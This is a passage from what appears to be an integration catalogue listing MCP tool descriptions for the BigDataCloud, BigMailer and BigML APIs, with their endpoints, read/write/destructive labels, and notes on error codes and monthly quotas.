sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/timezone-by-location. Scopes: api. bigdatacloud_get_timezone_info (read) — Current details for an IANA time zone you already know the name of: UTC offset, daylight-saving state and schedule, and local time. Pass `utcReference` to convert a specific instant instead of now. Takes a ZONE ID, not coordinates or an address; an unrecognised id answers 400 'bad request'. Reached over GET https://api-bdc.net/data/timezone-info in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/timezone-info. Scopes: api. bigdatacloud_get_tor_exit_nodes_list (read) — The currently active Tor exit nodes -- the addresses a destination server sees -- each geolocated to country level with its carrier. Paginated; takes no required argument. Being on this list means traffic arrived through Tor, which is not by itself evidence of anything about a person. Reached over GET https://api-bdc.net/data/tor-exit-nodes-list in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/tor-exit-nodes-list. Scopes: api. bigdatacloud_get_user_agent_info (read) — Turn a raw user-agent string into structured fields: device, operating system, browser family and version, and `isSpider` for bot and crawler detection. Pass the string you received; nothing is read from this request's own headers. Reached over GET https://api-bdc.net/data/user-agent-info in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/user-agent-info. Scopes: api. bigdatacloud_get_user_risk (read) — One word instead of a report: `risk` is `Low`, `Moderate` or `High` for the address, with a short description. Intended as a captcha decision -- low risk looks like ordinary residential or mobile traffic. It is a heuristic about the ADDRESS, never about a person, and it is not evidence of wrongdoing; call `bigdatacloud_get_hazard_report` when you need the signals the verdict was formed from. Reached over GET https://api-bdc.net/data/user-risk in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/user-risk. Scopes: api. ================================================================================ ## BigMailer URL: https://www.agenticfabriq.com/integrations/bigmailer Section: Integrated Tools BigMailer — 79 MCP tools Provider key: bigmailer. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bigmailer_delete_v1_brands_by_brand_id_contacts_by_contact_id (write, destructive) — Delete contact via DELETE /v1/brands/{brand_id}/contacts/{contact_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/contacts/{contact_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_fields_by_field_id (write, destructive) — Delete field via DELETE /v1/brands/{brand_id}/fields/{field_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/fields/{field_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_lists_by_list_id (write, destructive) — Delete list via DELETE /v1/brands/{brand_id}/lists/{list_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/lists/{list_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_message_types_by_message_type_id (write, destructive) — Delete message type via DELETE /v1/brands/{brand_id}/message-types/{message_type_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/message-types/{message_type_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_properties_by_brand_property_id (write, destructive) — Delete brand property via DELETE /v1/brands/{brand_id}/properties/{brand_property_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/properties/{brand_property_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_segments_by_segment_id (write, destructive) — Delete segment via DELETE /v1/brands/{brand_id}/segments/{segment_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/segments/{segment_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_senders_by_sender_id (write, destructive) — Delete sender via DELETE /v1/brands/{brand_id}/senders/{sender_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/senders/{sender_id}. Scopes: api. bigmailer_delete_v1_brands_by_brand_id_templates_by_template_id (write, destructive) — Delete template via DELETE /v1/brands/{brand_id}/templates/{template_id} DELETE /api/v1/bigmailer/v1/brands/{brand_id}/templates/{template_id}. Scopes: api. bigmailer_delete_v1_users_by_user_id (write, destructive) — Delete user via DELETE /v1/users/{user_id} DELETE /api/v1/bigmailer/v1/users/{user_id}. Scopes: api. bigmailer_get_v1_brands (read) — List brands via GET /v1/brands GET /api/v1/bigmailer/v1/brands. Scopes: api. bigmailer_get_v1_brands_by_brand_id (read) — Get brand via GET /v1/brands/{brand_id} GET /api/v1/bigmailer/v1/brands/{brand_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_bulk_campaigns (read) — List bulk campaigns via GET /v1/brands/{brand_id}/bulk-campaigns GET /api/v1/bigmailer/v1/brands/{brand_id}/bulk-campaigns. Scopes: api. bigmailer_get_v1_brands_by_brand_id_bulk_campaigns_by_campaign_id (read) — Get bulk campaign via GET /v1/brands/{brand_id}/bulk-campaigns/{campaign_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/bulk-campaigns/{campaign_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_contacts (read) — List contacts via GET /v1/brands/{brand_id}/contacts GET /api/v1/bigmailer/v1/brands/{brand_id}/contacts. Scopes: api. bigmailer_get_v1_brands_by_brand_id_contacts_batches_by_batch_id (read) — Get contact batch via GET /v1/brands/{brand_id}/contacts/batches/{batch_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/contacts/batches/{batch_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_contacts_by_contact_id (read) — Get contact via GET /v1/brands/{brand_id}/contacts/{contact_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/contacts/{contact_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_fields (read) — List fields via GET /v1/brands/{brand_id}/fields GET /api/v1/bigmailer/v1/brands/{brand_id}/fields. Scopes: api. bigmailer_get_v1_brands_by_brand_id_fields_by_field_id (read) — Get field via GET /v1/brands/{brand_id}/fields/{field_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/fields/{field_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_lists (read) — List lists via GET /v1/brands/{brand_id}/lists GET /api/v1/bigmailer/v1/brands/{brand_id}/lists. Scopes: api. bigmailer_get_v1_brands_by_brand_id_lists_by_list_id (read) — Get list via GET /v1/brands/{brand_id}/lists/{list_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/lists/{list_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_message_types (read) — List message types via GET /v1/brands/{brand_id}/message-types GET /api/v1/bigmailer/v1/brands/{brand_id}/message-types. Scopes: api. bigmailer_get_v1_brands_by_brand_id_message_types_by_message_type_id (read) — Get message type via GET /v1/brands/{brand_id}/message-types/{message_type_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/message-types/{message_type_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_properties (read) — List brand properties via GET /v1/brands/{brand_id}/properties GET /api/v1/bigmailer/v1/brands/{brand_id}/properties. Scopes: api. bigmailer_get_v1_brands_by_brand_id_properties_by_brand_property_id (read) — Get brand property via GET /v1/brands/{brand_id}/properties/{brand_property_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/properties/{brand_property_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_rss_campaigns (read) — List rss campaigns via GET /v1/brands/{brand_id}/rss-campaigns GET /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns. Scopes: api. bigmailer_get_v1_brands_by_brand_id_rss_campaigns_by_campaign_id (read) — Get rss campaign via GET /v1/brands/{brand_id}/rss-campaigns/{campaign_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns/{campaign_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_rss_campaigns_by_parent_id_updates (read) — List rss update campaigns via GET /v1/brands/{brand_id}/rss-campaigns/{parent_id}/updates GET /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns/{parent_id}/updates. Scopes: api. bigmailer_get_v1_brands_by_brand_id_rss_campaigns_by_parent_id_updates_by_campaign_id (read) — Get rss update campaign via GET /v1/brands/{brand_id}/rss-campaigns/{parent_id}/updates/{campaign_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns/{parent_id}/updates/{campaign_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_segments (read) — List segments via GET /v1/brands/{brand_id}/segments GET /api/v1/bigmailer/v1/brands/{brand_id}/segments. Scopes: api. bigmailer_get_v1_brands_by_brand_id_segments_by_segment_id (read) — Get segment via GET /v1/brands/{brand_id}/segments/{segment_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/segments/{segment_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_senders (read) — List senders via GET /v1/brands/{brand_id}/senders GET /api/v1/bigmailer/v1/brands/{brand_id}/senders. Scopes: api. bigmailer_get_v1_brands_by_brand_id_senders_by_sender_id (read) — Get sender via GET /v1/brands/{brand_id}/senders/{sender_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/senders/{sender_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_suppression_lists (read) — List suppression lists via GET /v1/brands/{brand_id}/suppression-lists GET /api/v1/bigmailer/v1/brands/{brand_id}/suppression-lists. Scopes: api. bigmailer_get_v1_brands_by_brand_id_suppression_lists_by_suppression_list_id (read) — Get suppression list via GET /v1/brands/{brand_id}/suppression-lists/{suppression_list_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/suppression-lists/{suppression_list_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_templates (read) — List templates via GET /v1/brands/{brand_id}/templates GET /api/v1/bigmailer/v1/brands/{brand_id}/templates. Scopes: api. bigmailer_get_v1_brands_by_brand_id_templates_by_template_id (read) — Get template via GET /v1/brands/{brand_id}/templates/{template_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/templates/{template_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_test_campaigns (read) — List test campaigns via GET /v1/brands/{brand_id}/test-campaigns GET /api/v1/bigmailer/v1/brands/{brand_id}/test-campaigns. Scopes: api. bigmailer_get_v1_brands_by_brand_id_test_campaigns_by_campaign_id (read) — Get test campaign via GET /v1/brands/{brand_id}/test-campaigns/{campaign_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/test-campaigns/{campaign_id}. Scopes: api. bigmailer_get_v1_brands_by_brand_id_transactional_campaigns (read) — List transactional campaigns via GET /v1/brands/{brand_id}/transactional-campaigns GET /api/v1/bigmailer/v1/brands/{brand_id}/transactional-campaigns. Scopes: api. bigmailer_get_v1_brands_by_brand_id_transactional_campaigns_by_campaign_id (read) — Get transactional campaign via GET /v1/brands/{brand_id}/transactional-campaigns/{campaign_id} GET /api/v1/bigmailer/v1/brands/{brand_id}/transactional-campaigns/{campaign_id}. Scopes: api. bigmailer_get_v1_connections (read) — List connections via GET /v1/connections GET /api/v1/bigmailer/v1/connections. Scopes: api. bigmailer_get_v1_connections_by_connection_id (read) — Get connection via GET /v1/connections/{connection_id} GET /api/v1/bigmailer/v1/connections/{bigmailer_connection_id}. Scopes: api. bigmailer_get_v1_users (read) — List users via GET /v1/users GET /api/v1/bigmailer/v1/users. Scopes: api. bigmailer_get_v1_users_by_user_id (read) — Get user via GET /v1/users/{user_id} GET /api/v1/bigmailer/v1/users/{user_id}. Scopes: api. bigmailer_post_v1_brands (write) — Create brand via POST /v1/brands POST /api/v1/bigmailer/v1/brands. Scopes: api. bigmailer_post_v1_brands_by_brand_id (write) — Update brand via POST /v1/brands/{brand_id} POST /api/v1/bigmailer/v1/brands/{brand_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_bulk_campaigns (write) — Create bulk campaign via POST /v1/brands/{brand_id}/bulk-campaigns POST /api/v1/bigmailer/v1/brands/{brand_id}/bulk-campaigns. Scopes: api. bigmailer_post_v1_brands_by_brand_id_bulk_campaigns_by_campaign_id (write) — Update bulk campaign via POST /v1/brands/{brand_id}/bulk-campaigns/{campaign_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/bulk-campaigns/{campaign_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_contacts (write) — Create contact via POST /v1/brands/{brand_id}/contacts POST /api/v1/bigmailer/v1/brands/{brand_id}/contacts. Scopes: api. bigmailer_post_v1_brands_by_brand_id_contacts_batches (write) — Create contact batch via POST /v1/brands/{brand_id}/contacts/batches POST /api/v1/bigmailer/v1/brands/{brand_id}/contacts/batches. Scopes: api. bigmailer_post_v1_brands_by_brand_id_contacts_by_contact_id (write) — Update contact via POST /v1/brands/{brand_id}/contacts/{contact_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/contacts/{contact_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_contacts_upsert (write) — Upsert contact via POST /v1/brands/{brand_id}/contacts/upsert POST /api/v1/bigmailer/v1/brands/{brand_id}/contacts/upsert. Scopes: api. bigmailer_post_v1_brands_by_brand_id_fields (write) — Create field via POST /v1/brands/{brand_id}/fields POST /api/v1/bigmailer/v1/brands/{brand_id}/fields. Scopes: api. bigmailer_post_v1_brands_by_brand_id_fields_by_field_id (write) — Update field via POST /v1/brands/{brand_id}/fields/{field_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/fields/{field_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_lists (write) — Create list via POST /v1/brands/{brand_id}/lists POST /api/v1/bigmailer/v1/brands/{brand_id}/lists. Scopes: api. bigmailer_post_v1_brands_by_brand_id_lists_by_list_id (write) — Update list via POST /v1/brands/{brand_id}/lists/{list_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/lists/{list_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_message_types (write) — Create message type via POST /v1/brands/{brand_id}/message-types POST /api/v1/bigmailer/v1/brands/{brand_id}/message-types. Scopes: api. bigmailer_post_v1_brands_by_brand_id_message_types_by_message_type_id (write) — Update message type via POST /v1/brands/{brand_id}/message-types/{message_type_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/message-types/{message_type_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_properties (write) — Create brand property via POST /v1/brands/{brand_id}/properties POST /api/v1/bigmailer/v1/brands/{brand_id}/properties. Scopes: api. bigmailer_post_v1_brands_by_brand_id_properties_by_brand_property_id (write) — Update brand property via POST /v1/brands/{brand_id}/properties/{brand_property_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/properties/{brand_property_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_rss_campaigns (write) — Create rss campaign via POST /v1/brands/{brand_id}/rss-campaigns POST /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns. Scopes: api. bigmailer_post_v1_brands_by_brand_id_rss_campaigns_by_campaign_id (write) — Update rss campaign via POST /v1/brands/{brand_id}/rss-campaigns/{campaign_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns/{campaign_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_rss_campaigns_by_campaign_id_pause (write) — Pause rss campaign via POST /v1/brands/{brand_id}/rss-campaigns/{campaign_id}/pause POST /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns/{campaign_id}/pause. Scopes: api. bigmailer_post_v1_brands_by_brand_id_rss_campaigns_by_campaign_id_unpause (write) — Unpause rss campaign via POST /v1/brands/{brand_id}/rss-campaigns/{campaign_id}/unpause POST /api/v1/bigmailer/v1/brands/{brand_id}/rss-campaigns/{campaign_id}/unpause. Scopes: api. bigmailer_post_v1_brands_by_brand_id_segments (write) — Create segment via POST /v1/brands/{brand_id}/segments POST /api/v1/bigmailer/v1/brands/{brand_id}/segments. Scopes: api. bigmailer_post_v1_brands_by_brand_id_segments_by_segment_id (write) — Update segment via POST /v1/brands/{brand_id}/segments/{segment_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/segments/{segment_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_senders (write) — Create sender via POST /v1/brands/{brand_id}/senders POST /api/v1/bigmailer/v1/brands/{brand_id}/senders. Scopes: api. bigmailer_post_v1_brands_by_brand_id_senders_by_sender_id (write) — Update sender via POST /v1/brands/{brand_id}/senders/{sender_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/senders/{sender_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_senders_by_sender_id_bounce_domains (write) — Create bounce domain via POST /v1/brands/{brand_id}/senders/{sender_id}/bounce-domains POST /api/v1/bigmailer/v1/brands/{brand_id}/senders/{sender_id}/bounce-domains. Scopes: api. bigmailer_post_v1_brands_by_brand_id_senders_by_sender_id_bounce_domains_verify (write) — Verify bounce domain via POST /v1/brands/{brand_id}/senders/{sender_id}/bounce-domains/verify POST /api/v1/bigmailer/v1/brands/{brand_id}/senders/{sender_id}/bounce-domains/verify. Scopes: api. bigmailer_post_v1_brands_by_brand_id_senders_by_sender_id_verify (write) — Verify sender via POST /v1/brands/{brand_id}/senders/{sender_id}/verify POST /api/v1/bigmailer/v1/brands/{brand_id}/senders/{sender_id}/verify. Scopes: api. bigmailer_post_v1_brands_by_brand_id_templates (write) — Create template via POST /v1/brands/{brand_id}/templates POST /api/v1/bigmailer/v1/brands/{brand_id}/templates. Scopes: api. bigmailer_post_v1_brands_by_brand_id_templates_by_template_id (write) — Update template via POST /v1/brands/{brand_id}/templates/{template_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/templates/{template_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_test_campaigns (write) — Send test campaign via POST /v1/brands/{brand_id}/test-campaigns POST /api/v1/bigmailer/v1/brands/{brand_id}/test-campaigns. Scopes: api. bigmailer_post_v1_brands_by_brand_id_transactional_campaigns (write) — Create transactional campaign via POST /v1/brands/{brand_id}/transactional-campaigns POST /api/v1/bigmailer/v1/brands/{brand_id}/transactional-campaigns. Scopes: api. bigmailer_post_v1_brands_by_brand_id_transactional_campaigns_by_campaign_id (write) — Update transactional campaign via POST /v1/brands/{brand_id}/transactional-campaigns/{campaign_id} POST /api/v1/bigmailer/v1/brands/{brand_id}/transactional-campaigns/{campaign_id}. Scopes: api. bigmailer_post_v1_brands_by_brand_id_transactional_campaigns_by_campaign_id_send (write) — Send transactional campaign via POST /v1/brands/{brand_id}/transactional-campaigns/{campaign_id}/send POST /api/v1/bigmailer/v1/brands/{brand_id}/transactional-campaigns/{campaign_id}/send. Scopes: api. bigmailer_post_v1_users (write) — Create user via POST /v1/users POST /api/v1/bigmailer/v1/users. Scopes: api. bigmailer_post_v1_users_by_user_id (write) — Update user via POST /v1/users/{user_id} POST /api/v1/bigmailer/v1/users/{user_id}. Scopes: api. ================================================================================ ## BigML URL: https://www.agenticfabriq.com/integrations/bigml Section: Integrated Tools BigML — 190 MCP tools Provider key: bigml. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bigml_delete_anomaly_by_id (write, destructive) — Anomaly detector delete via DELETE /anomaly/{id} DELETE /api/v1/bigml/anomaly/{id}. Scopes: api. bigml_delete_anomalyscore_by_id (write, destructive) — Anomaly score delete via DELETE /anomalyscore/{id} DELETE /api/v1/bigml/anomalyscore/{id}. Scopes: api. bigml_delete_association_by_id (write, destructive) — Association delete via DELETE /association/{id} DELETE /api/v1/bigml/association/{id}. Scopes: api. bigml_delete_associationset_by_id (write, destructive) — Association set delete via DELETE /associationset/{id} DELETE /api/v1/bigml/associationset/{id}. Scopes: api. bigml_delete_batchanomalyscore_by_id (write, destructive) — Batch anomaly score delete via DELETE /batchanomalyscore/{id} DELETE /api/v1/bigml/batchanomalyscore/{id}. Scopes: api. bigml_delete_batchcentroid_by_id (write, destructive) — Batch centroid delete via DELETE /batchcentroid/{id} DELETE /api/v1/bigml/batchcentroid/{id}. Scopes: api. bigml_delete_batchprediction_by_id (write, destructive) — Batch prediction delete via DELETE /batchprediction/{id} DELETE /api/v1/bigml/batchprediction/{id}. Scopes: api. bigml_delete_batchprojection_by_id (write, destructive) — Batch projection delete via DELETE /batchprojection/{id} DELETE /api/v1/bigml/batchprojection/{id}. Scopes: api. bigml_delete_batchtopicdistribution_by_id (write, destructive) — Batch topic distribution delete via DELETE /batchtopicdistribution/{id} DELETE /api/v1/bigml/batchtopicdistribution/{id}. Scopes: api. bigml_delete_centroid_by_id (write, destructive) — Centroid delete via DELETE /centroid/{id} DELETE /api/v1/bigml/centroid/{id}. Scopes: api. bigml_delete_cluster_by_id (write, destructive) — Cluster delete via DELETE /cluster/{id} DELETE /api/v1/bigml/cluster/{id}. Scopes: api. bigml_delete_composite_by_id (write, destructive) — Composite source delete via DELETE /composite/{id} DELETE /api/v1/bigml/composite/{id}. Scopes: api. bigml_delete_configuration_by_id (write, destructive) — Configuration delete via DELETE /configuration/{id} DELETE /api/v1/bigml/configuration/{id}. Scopes: api. bigml_delete_correlation_by_id (write, destructive) — Correlation delete via DELETE /correlation/{id} DELETE /api/v1/bigml/correlation/{id}. Scopes: api. bigml_delete_dataset_by_id (write, destructive) — Dataset delete via DELETE /dataset/{id} DELETE /api/v1/bigml/dataset/{id}. Scopes: api. bigml_delete_deepnet_by_id (write, destructive) — Deepnet delete via DELETE /deepnet/{id} DELETE /api/v1/bigml/deepnet/{id}. Scopes: api. bigml_delete_ensemble_by_id (write, destructive) — Ensemble delete via DELETE /ensemble/{id} DELETE /api/v1/bigml/ensemble/{id}. Scopes: api. bigml_delete_evaluation_by_id (write, destructive) — Evaluation delete via DELETE /evaluation/{id} DELETE /api/v1/bigml/evaluation/{id}. Scopes: api. bigml_delete_execution_by_id (write, destructive) — WhizzML execution delete via DELETE /execution/{id} DELETE /api/v1/bigml/execution/{id}. Scopes: api. bigml_delete_externalconnector_by_id (write, destructive) — External connector delete via DELETE /externalconnector/{id} DELETE /api/v1/bigml/externalconnector/{id}. Scopes: api. bigml_delete_forecast_by_id (write, destructive) — Forecast delete via DELETE /forecast/{id} DELETE /api/v1/bigml/forecast/{id}. Scopes: api. bigml_delete_fusion_by_id (write, destructive) — Fusion delete via DELETE /fusion/{id} DELETE /api/v1/bigml/fusion/{id}. Scopes: api. bigml_delete_library_by_id (write, destructive) — WhizzML library delete via DELETE /library/{id} DELETE /api/v1/bigml/library/{id}. Scopes: api. bigml_delete_linearregression_by_id (write, destructive) — Linear regression delete via DELETE /linearregression/{id} DELETE /api/v1/bigml/linearregression/{id}. Scopes: api. bigml_delete_logisticregression_by_id (write, destructive) — Logistic regression delete via DELETE /logisticregression/{id} DELETE /api/v1/bigml/logisticregression/{id}. Scopes: api. bigml_delete_model_by_id (write, destructive) — Model delete via DELETE /model/{id} DELETE /api/v1/bigml/model/{id}. Scopes: api. bigml_delete_optiml_by_id (write, destructive) — OptiML delete via DELETE /optiml/{id} DELETE /api/v1/bigml/optiml/{id}. Scopes: api. bigml_delete_pca_by_id (write, destructive) — PCA delete via DELETE /pca/{id} DELETE /api/v1/bigml/pca/{id}. Scopes: api. bigml_delete_prediction_by_id (write, destructive) — Prediction delete via DELETE /prediction/{id} DELETE /api/v1/bigml/prediction/{id}. Scopes: api. bigml_delete_project_by_id (write, destructive) — Project delete via DELETE /project/{id} DELETE /api/v1/bigml/project/{id}. Scopes: api. bigml_delete_projection_by_id (write, destructive) — Projection delete via DELETE /projection/{id} DELETE /api/v1/bigml/projection/{id}. Scopes: api. bigml_delete_sample_by_id (write, destructive) — Sample delete via DELETE /sample/{id} DELETE /api/v1/bigml/sample/{id}. Scopes: api. bigml_delete_script_by_id (write, destructive) — WhizzML script delete via DELETE /script/{id} DELETE /api/v1/bigml/script/{id}. Scopes: api. bigml_delete_source_by_id (write, destructive) — Source delete via DELETE /source/{id} DELETE /api/v1/bigml/source/{id}. Scopes: api. bigml_delete_statisticaltest_by_id (write, destructive) — Statistical test delete via DELETE /statisticaltest/{id} DELETE /api/v1/bigml/statisticaltest/{id}. Scopes: api. bigml_delete_timeseries_by_id (write, destructive) — Time series delete via DELETE /timeseries/{id} DELETE /api/v1/bigml/timeseries/{id}. Scopes: api. bigml_delete_topicdistribution_by_id (write, destructive) — Topic distribution delete via DELETE /topicdistribution/{id} DELETE /api/v1/bigml/topicdistribution/{id}. Scopes: api. bigml_delete_topicmodel_by_id (write, destructive) — Topic model delete via DELETE /topicmodel/{id} DELETE /api/v1/bigml/topicmodel/{id}. Scopes: api. bigml_get_anomaly (read) — Anomaly detector list via GET /anomaly GET /api/v1/bigml/anomaly. Scopes: api. bigml_get_anomaly_by_id (read) — Anomaly detector get via GET /anomaly/{id} GET /api/v1/bigml/anomaly/{id}. Scopes: api. bigml_get_anomalyscore (read) — Anomaly score list via GET /anomalyscore GET /api/v1/bigml/anomalyscore. Scopes: api. bigml_get_anomalyscore_by_id (read) — Anomaly score get via GET /anomalyscore/{id} GET /api/v1/bigml/anomalyscore/{id}. Scopes: api. bigml_get_association (read) — Association list via GET /association GET /api/v1/bigml/association. Scopes: api. bigml_get_association_by_id (read) — Association get via GET /association/{id} GET /api/v1/bigml/association/{id}. Scopes: api. bigml_get_associationset (read) — Association set list via GET /associationset GET /api/v1/bigml/associationset. Scopes: api. bigml_get_associationset_by_id (read) — Association set get via GET /associationset/{id} GET /api/v1/bigml/associationset/{id}. Scopes: api. bigml_get_batchanomalyscore (read) — Batch anomaly score list via GET /batchanomalyscore GET /api/v1/bigml/batchanomalyscore. Scopes: api. bigml_get_batchanomalyscore_by_id (read) — Batch anomaly score get via GET /batchanomalyscore/{id} GET /api/v1/bigml/batchanomalyscore/{id}. Scopes: api. bigml_get_batchcentroid (read) — Batch centroid list via GET /batchcentroid GET /api/v1/bigml/batchcentroid. Scopes: api. bigml_get_batchcentroid_by_id (read) — Batch centroid get via GET /batchcentroid/{id} GET /api/v1/bigml/batchcentroid/{id}. Scopes: api. bigml_get_batchprediction (read) — Batch prediction list via GET /batchprediction GET /api/v1/bigml/batchprediction. Scopes: api. bigml_get_batchprediction_by_id (read) — Batch prediction get via GET /batchprediction/{id} GET /api/v1/bigml/batchprediction/{id}. Scopes: api. bigml_get_batchprojection (read) — Batch projection list via GET /batchprojection GET /api/v1/bigml/batchprojection. Scopes: api. bigml_get_batchprojection_by_id (read) — Batch projection get via GET /batchprojection/{id} GET /api/v1/bigml/batchprojection/{id}. Scopes: api. bigml_get_batchtopicdistribution (read) — Batch topic distribution list via GET /batchtopicdistribution GET /api/v1/bigml/batchtopicdistribution. Scopes: api. bigml_get_batchtopicdistribution_by_id (read) — Batch topic distribution get via GET /batchtopicdistribution/{id} GET /api/v1/bigml/batchtopicdistribution/{id}. Scopes: api. bigml_get_centroid (read) — Centroid list via GET /centroid GET 